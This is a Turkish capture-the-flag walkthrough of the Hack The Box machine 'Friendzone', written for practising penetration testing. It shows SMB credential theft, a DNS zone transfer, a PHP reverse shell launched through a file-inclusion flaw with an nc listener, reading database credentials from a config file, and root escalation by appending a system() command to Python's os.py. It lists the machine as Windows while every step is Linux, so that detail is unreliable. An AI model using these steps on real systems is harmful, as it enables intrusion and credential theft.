Hack The Box: Friendzone Çözümü

0
4184
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Friendzone isimli Orta zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Friendzone sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.123
  • İşletim Sistemi: Windows

 

A) Port Tarama

Çözüme Nmap ile açık portların taranması ile başlıyoruz.

nmap -sC -sV -oA friendzone 10.10.10.123

 

Port taraması sonucunda 7 adet portun açık olduğu tespit edilmiştir.

 

Açık portlar aşağıdaki gibidir:

  • 21/tcp
  • 22/tcp
  • 53/tcp
  • 80/tcp
  • 139/tcp
  • 443/tcp
  • 445/tcp

 

B) SMB Servisinin İncelenmesi

TCP\139 ve TCP\445 portlarını kullanan SMB protokolü üzerinde paylaşılan dosya olup olmadığına ve bu dosyaların izinlerini kontrol ediyoruz.

smbmap -H 10.10.10.123 -R –depth 5

 

Kullanılan parametre detayları aşağıdaki gibidir.

  • -H : host
  • -R : özyinelemeli (recursive) olarak dosyaları listeleme
  • –depth : dizin yapısını belirli bir derinlikte gezme

Paylaşılan dosyalar içerisinde Development paylaşımında Read & Write yetkisi ile “creds.txt” isimli dosya dikkatimizi çekiyor. Bu dosyayı alabilmek ve “general” altındaki paylaşımlara ulaşmak için smbclient ile bağlantı kuruyoruz.

smbclient //10.10.10.123/general
get creds.txt
exit

 

Dosyayı çektikten sonra içerisinde bir kullanıcı adı ve parola bilgisinin olduğunu görüyoruz. Bu bilgiyi daha sonra kullanmak adına notlarımız arasına alıp diğer portlar üzerinde kontroller yapmaya devam ediyoruz.

 

C) HTTP/S Servislerinin İncelenmesi

Not aldığımız kullanıcı adı ve parolayı kullanabileceğimiz bir login sayfası bulabilmek adına tarayıcı üzerinden Friendzone adresine baktığımızda ise email adresi bilgisinden “friendzoneportal.red” alan adı (domain) ile ilgili bir ipucu yakalıyoruz. Yani iki tane alan adımız bulunmaktadır.

  • friendzone.red
  • friendzoneportal.red

 

Bu iki domaini /etc/hosts dosyasına 10.10.10.123 IP adresi ile kaydediyoruz.

nano /etc/hosts

 

Böylece HTTPS protokolü üzerinden hizmet veren friendzoneportal.red hedefine erişim sağlanabilmiştir.

 

HTTPS protokolü ile friendzoneportal.red adresine ve kaynak koduna bakıyoruz. Yorum satırı içerisinde “/js/js” yolunun belirtildiğini görüyoruz.

 

Bu URL’i takip edip sayfaya baktığımızda sayfayı her yenilediğimizde özet değerinin de her seferinde yenilendiğini görüyoruz. O yüzden bu özetlerin bize bir faydasının dokunmayacağını anlayarak DNS kontrolleri aşamasına geçiyoruz.

 

D) DNS Servisinin İncelenmesi

Bu aşamada da DNS sunucularında alan adı transferini kontrol ediyoruz. Alan adı transfer ayarları düzgün bir biçimde yapılandırılmazsa, tüm dns alan adlarına dair bilgilere erişilebilir. Dig komutu ile her iki alan adı için alan adı transfer ve alt alan adı (subdomain) bilgilerine bakıyoruz.

dig axfr @10.10.10.123 friendzone.red

 

Listelenen subdomainleri çoklu bir biçimde inceleyip görsel olarak incelemek için “Aquatone” aracını kullanacağız. Fakat bu subdomainleri istediğimiz formatta yazabilmek için de linux bilgimizi sergilememiz gerekiyor. Bir “zonetransfer” isimli dosya içerisine subdomainleri yazabilmek için aşağıdaki komutu kullanıyoruz:

cat zonetransfer | grep friendzone | grep IN | awk ‘{print $1}’ | sed ‘s/\.+//g’ | sort -u

 

Daha sonra bu subdomainleri de /etc/hosts dosyasına kaydediyoruz. Aquatone aracını kullanmadan önce subdomainlere “https://” ekleyerek hosts isimli yeni bir dosyaya kaydediyoruz ve Aquatone aracını çalıştırıyoruz.

cat hosts | aquatone

 

Aquatone aracı yardımıyla ekran görüntüsü aldığımız sayfaları inceledikten sonra “administrator1.friendzone.red” subdomaininde login ekranı ile karşılaşıyoruz. Daha önce not aldığımız “admin:WORKWORKHhallelujah@#” bilgileri ile giriş yapıyoruz ve bizi görsel ekrana (dashboard) yönlendirecek bir ipucu buluyoruz.

Bu sayfada ise bir sayfaya yüklenen resim dosyasına nasıl erişileceğinden bahsetmesi bizlere “uploads.friedzone.red” sayfasını hatırlatıyor. Bu sayfaya, daha önce “friendzoneportal.red” sayfasında karşılaştığımız Michael Jackson gif dosyasını yüklüyoruz. Fakat bunu yaparken gif dosyasını doğrudan indiremediğimiz için “curl” yardımıyla alıyoruz ve ondan sonra yükleme işlemini gerçekleştiriyoruz.

curl -k https://friendzoneportal.red/z.gif -o z.gif

 

Sonuç olarak dosya yükleme işleminin başarılı bir şekilde gerçekleştiği görülmektedir.

 

E) Yerel Dosya Dahil Etme (Local File Inclusion) Zafiyetinin Tespiti

Dosya yükleme işleminden sonra bizlere bir zaman damgası (timestamp) bilgisi döndü. Bir önceki administrator sayfasında bize yüklemiş olduğumuz resim dosyasına erişebileceğimiz “image_id=a.jpg&pagename=timestamp” yolunu vermişti. Eksik parametreleri de tamamlayıp sayfaya eriştiğimizde fark ediyoruz ki sayfada LFI (Local File Inclusion) zafiyeti var. Bu sayede istediğimiz dosyayı sunucuya yükleyebilir ve shell alabiliriz.

https://administrator1.friendzone.red/dashboard.php?image_id=z.gif&pagename=timestamp

 

F) Yerel Dosya Dahil Etme (Local File Inclusion) Zafiyetinin İstismarı

Bu aşamada zararlı dosyayı karşı tarafa yükleme ve ters bağlantı (reverse shell) alma işlemlerini gerçekleştiriyoruz. Dosya yükleme için okuma ve yazma yetkisi bulunan Development paylaşımını kullanacağız.

Ters bağlantı alabilmek için kullanacağımız PentestMonkey‘in php-reverse-shell.php dosyasında IP ve port değerlerini değiştiriyoruz.

 

Kabuk (shell) dosyasını hazırladıktan sonra smbclient ile Development paylaşımına girip dosyayı karşı tarafa yüklüyoruz.

smbclient //10.10.10.123/Development
put php-reverse-shell.php

 

Tarayıcıdan bu bağlantıya istek yapmadan önce netcat ile ters bağlantıyı yakalayacağımız portu dinleme pozisyonuna getiriyoruz.

nc -lvnp 1234

 

Tarayıcıda bağlantıdaki pagename parametresine /etc/Development/php-reverse-shell.php dediğimizde 1234 portundan kabuk alıyoruz.

 

G) Yatay Yetki Yükseltme

Yetki yükseltme aşaması için bizlere gerekli olacak bilgiyi toplayabilmek için de dosyalar arasında biraz gezmeye başlıyoruz.

Bu klasör altındaki mysql_data.conf dosyası içerisinden veritabanı erişim bilgilerini elde ediyoruz.

cd /var/www
cat mysql_data.conf

 

Bu bilgileri kullanarak SSH bağlantısı kuruyoruz. Friend kullanıcı yetkisi ile SSH kullanarak makineye bağlanmış olduk.

ssh friend@10.10.10.123

 

H) Dikey Yetki Yükseltme İçin Keşif

Sistemde root yetkilerine sahip olmadan processleri inceleyebilmemizi sağlayan Psys isimli aracı kullanarak root yetkisi ile çalışan bir process yakalamaya çalışıyoruz.

 

İncelerken “/opt/server_admin/reporter.py” betiğinin zamanlanmış görev (cronjob) kullanarak root yetkisi ile çalıştığını görüyoruz.

 

Bu betiği incelediğimizde OS modülünün eklendiğini fark ediyoruz. İlginç bir biçimde OS modülünün import edilmesi ve print dışında diğer satırlar yorum satırı olarak kaydedilmiş. Bu dosya üzerinde yazma ve değiştirme yetkimiz olmadığından OS modülü üzerinde değişiklik yapıyoruz. Tabii önce bu modülündeki yetkimizi de görmemiz gerek.

 

Okuma ve yazma yetkimiz olduğunu görüyor ve Python Library Hijacking yapmaya başlıyoruz.

 

I) Python Library Hijacking ile Dikey Yetki Yükseltme

Root bayrağını elde edebilmek için os.py modülünün sonuna bir satır yerleştirerek /tmp/root1.txt dosyasına özet bilgisini aktarması için şu komutu kullanıyoruz:

cat >> /usr/lib/python2.7/os.py
system(“cp /root/root.txt /tmp/root1.txt”)

 

Bundan sonrasında zamanlanmış görevin tetiklenmesini ve reporter.py scriptinin çalışmasını bekliyoruz. Çalıştıktan sonra da /tmp/root1.txt dosyamızı kontrol ediyoruz. Böylece root hash bilgisini elde etmiş ve yetkimizi yükseltmiş olduk.

 

 

Kaynaklar:

https://medium.com/@l4dybug/hackthebox-friendzone-%C3%A7%C3%B6z%C3%BCm%C3%BC-99c5415cf8e7

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.